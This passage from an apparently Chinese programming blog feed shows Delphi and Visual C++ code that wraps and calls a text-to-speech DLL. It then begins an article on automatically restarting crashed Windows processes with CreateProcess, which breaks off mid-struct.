<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS: IVTxtauto; </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>implementation </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Create;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS:=CoVTxtAuto.Create; {创建对象}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS.Register(’Project1’,’Project1’); {注册 }</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Read(text:PChar);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS.Speak(text,vtxtst_READING); </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{朗读函数。第一参数是待朗读的文本。第二参数用于控制朗读的语气和优先级，主要有以下几种，可以根据需要灵活选择，如需多种选择将其进行或运算即可：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_STATEMENT = 1；平时说话时语气，默认。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_QUESTION = 2; 提问的语气。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_COMMAND = 4; 命令的语气。 </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_WARNING = 8; 警告的语气。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_READING = 16; 阅读文档时的语气。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_NUMBERS = 32; 阅读数字时的语气。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtst_SPREADSHEET = 64; 阅读电子表格中元素时的语气。 </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtsp_VERYHIGH = 128; 立即读出，可以打断当前正读的内容。 </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtsp_HIGH = 256; 尽快读出，加入播放队列开始。 </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>vtxtsp_NORMAL = 512; 默认，加入播放队列末尾。}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Pause;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS.AudioPause; {暂停朗读}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Stop;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS.StopSpeaking;{终止朗读}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Resume;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS.AudioResume;{恢复朗读}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>function IsSpeaking:Boolean;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Check:Boolean;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>if TTS.IsSpeaking then {判断当前状态}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Check:=TRUE;{当前正在朗读}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>else</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Check:=FALSE;{当前没有朗读}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Result:=Check;{返回状态值}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end; </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>procedure Destory;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>TTS:=nil;{释放对象}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>end.</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>5、在Project1.dpr的begin前面添加如下待导出过程函数列表：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>exports</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Create index 1,</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Read index 2,</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Pause index 3,</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Resume index 4,</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Stop index 5,</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>IsSpeaking index 6,</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Destory index 7;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>编译通过后即可得到封装有TTS语音接口的动态链接库： Project1.dll。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14><B>四、在VC 中调用TTS动态链接库</B></TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>1、选"File"，"New…"新建一MFC AppWizard(exe)工程TTSCall。最后一步选择基类为CformView。其余可取缺省设置。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>2、在Form上添加四个按钮，分别为：IDC_BUTTON1"朗读"；IDC_BUTTON2"暂停"；IDC_BUTTON4"恢复"；IDC_BUTTON3"停止"，以及一编辑框IDC_EDIT1。并添加四个按钮的处理函数：OnRead、OnPause、OnResume、OnStop和编辑框EN_CHANGE事件的响应函数：OnChangeEdit。通过ClassWizard为编辑框同一变量m_Text绑定。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>3、为CTTSCallView类添加两个变量： BOOL m_bCreated; HINSTANCE m_DLL;并在构造函数中初始化之。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>CTTSCallView::CTTSCallView() : CFormView(CTTSCallView::IDD)</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>//{{AFX_DATA_INIT(CTTSCallView)</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_Text = _T("Hello! Welcome to use this software developed by LangRui.");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>//}}AFX_DATA_INIT</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_DLL = NULL;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_bCreated=FALSE;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>4、在视类中的初始化函数中添加代码：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void CTTSCallView::OnInitialUpdate()</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>CFormView::OnInitialUpdate();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetParentFrame()-&gt;RecalcLayout();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>ResizeParentToFit();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON1)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON2)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON4)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON3)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>5、实现朗读功能：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void CTTSCallView::OnRead() </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_DLL=LoadLibrary("Project1.dll"); //动态加载动态连接库</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void (*Create)(void);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>//取得DLL中的Create函数</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Create=(void(*)(void))::GetProcAddress(m_DLL,"Create"); </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Create();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_bCreated=TRUE;</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void (*Read)(char*);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>//取得DLL 中的Read函数</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Read=(void(*)(char*))::GetProcAddress(m_DLL,"Read");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>//获取编辑框内容</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>UpdateData(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>char buf[10000];</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>::strcpy(buf,m_Text);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Read(buf);//朗读编辑框的内容。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON1)-&gt;EnableWindow(FALSE);//"朗读"按钮不可用</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON2)-&gt;EnableWindow(TRUE); //"暂停"按钮可用</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON4)-&gt;EnableWindow(FALSE);//"恢复"按钮不可用</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON3)-&gt;EnableWindow(TRUE); //"停止"按钮可用</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>6、实现暂停功能：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void CTTSCallView::OnPause() </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_DLL=LoadLibrary("Project1.dll");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void (*Pause)();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Pause=(void(*)())::GetProcAddress(m_DLL,"Pause");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>BOOL (*IsSpeaking)();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>//判断是否正在朗读</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>IsSpeaking=(BOOL(*)())::GetProcAddress(m_DLL,"IsSpeaking");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>if(IsSpeaking())</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Pause();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON1)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON2)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON4)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON3)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>7、实现恢复功能：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void CTTSCallView::OnResume() </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_DLL=LoadLibrary("Project1.dll");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void (*Resume)();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Resume=(void(*)())::GetProcAddress(m_DLL,"Resume");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>BOOL (*IsSpeaking)();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>IsSpeaking=(BOOL(*)())::GetProcAddress(m_DLL,"IsSpeaking");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>if(!IsSpeaking())</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Resume();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON1)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON2)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON4)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON3)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>8、实现停止功能：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void CTTSCallView::OnStop() </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_DLL=LoadLibrary("Project1.dll");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void (*Stop)();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Stop=(void(*)())::GetProcAddress(m_DLL,"Stop");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>Stop();//停止朗读</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON1)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON2)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON4)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON3)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>9、当编辑框内容发生改变，而又没有进行朗读时，应当处于准备朗读状态：</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>void CTTSCallView::OnChangeEdit() </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>if(m_bCreated)</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>m_DLL=LoadLibrary("Project1.dll");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>BOOL (*IsSpeaking)();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>IsSpeaking=(BOOL(*)())::GetProcAddress(m_DLL,"IsSpeaking");</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>if(!IsSpeaking())</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON1)-&gt;EnableWindow(TRUE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON2)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON4)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>GetDlgItem(IDC_BUTTON3)-&gt;EnableWindow(FALSE);</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>10、当程序退出时应释放加载的动态链接库，添加虚函数DestoryWindow()</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>BOOL CTTSCallView::DestroyWindow() </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>AfxFreeLibrary(m_DLL); </TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>return CFormView::DestroyWindow();</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14><B>五、运行测试</B></TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>将由Delphi编制的动态链接库Project1.dll复制到VC的TTSCall 工程的Debug 目录下。编译并运行TTSCall工程，在编辑框上写一端英文，按下"朗读"按钮，就可以听到利用TTS全程化语音技术所发出的抑扬顿挫的声音。</TD></TR></TBODY></TABLE>
<TABLE>
<TBODY>
<TR>
<TD class=a14>小结：TTS是全程化语音技术，它可以实现英文单词以及短语的准确发音，甚至可以独立完成整篇英文文章的流畅朗读。而且TTS技术是建立在英文阅读规则基础上的语音合成技术，并非将单词一个一个拆开机械得进行朗读，因此在语气的转折和单词的衔接上都非常自然，问句和祈使句的升降调也能很好的表现出来。</TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=121" /> 
	  <id>http://www.openx.cn/default.asp?id=121</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[异常死亡进程的自动复活]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:50:22+08:00</updated>
	  <published>2005-11-04T15:50:22+08:00</published>
		  <summary type="html"><![CDATA[<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>一、问题的产生</B></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>我们或多或少都有这样的经历，在Windows上运行的应用程序常常会异常终止，需要通过手工重新将其启动起来。若计算机无人看守，异常终止的进程不能实时启动，则可能给生产造成损失。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>本人在开发GPS全球卫星定位系统控制中心程序时，就遇到过控制中心程序异常终止死亡的情况，由此，找出了一个自动复活死亡进程的方法，供参考。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>二、相关知识</B></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>通常，把一个应用程序的一次运行实例叫做一个进程，在一个进程内又可包含多条可并发执行的路径，每条执行路径叫做一个线程，一个进程至少包含一个主线程。主线程负责执行运行的启动代码。另外，一个进程可以创建若干子进程。当进程被创建时，系统自动产生主线程，主线程然后可创建更多的线程。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>我们可以编写一个程序，让其创建、启动子进程，并监视进程的运行情况，在其出现异常终止时，立即重新创建并启动子进程即可。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>三、相关函数</B> </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>1、创建一个子进程函数：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>BOOL CreateProcess(</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCTSTR lpApplicationName,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPTSTR lpCommandLine,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPSECURITY_ATTRIBUTES lpProcessAttributes,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPSECURITY_ATTRIBUTES lpThreadAttributes,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>BOOL bInheritHandles, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwCreationFlags, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPVOID lpEnvironment, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCTSTR lpCurrentDirectory,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPSTARTUPINFO lpStartupInfo, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPPROCESS_INFORMATION lpProcessInformation </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>参数说明：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>lpApplicationName：新进程将要使用的可执行文件的名字，必须包含扩展名。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LpCommandLine：新进程的命令行。若lpApplicationName为NULL，LpCommandLine 的第一个参数是新进程将要使用的可执行文件的名字，可以不包含扩展名，系统假定是exe文件。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LpProcessAttributes和lpThreadAttributes：分别是给进程对象和线程对象指定的安全属性。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>BInheritHandles：指定该进程是否继承其父进程中的句柄。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>dwCreationFlags：指定新进程产生方式的标志，可用逻辑操作符or相连接。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LpEnvironment：指向含有新进程将要使用的环境块字符串的一块内存,一般为NULL，使子进程继承父进程的一组环境块。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LpCurrentDirectory：设置子进程的当前驱动器和工作目录, 为NULL，子进程继承父进程的当前驱动器和工作目录。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LpStartupInfo：指向STARTUPINFO 的结构。一般让子进程使用缺省值。但要把该结构中的所有成员初始化为0,并设置cb为结构大小。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>STARTUPINFO 结构如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>typedef struct _STARTUPINFO { </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD cb; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
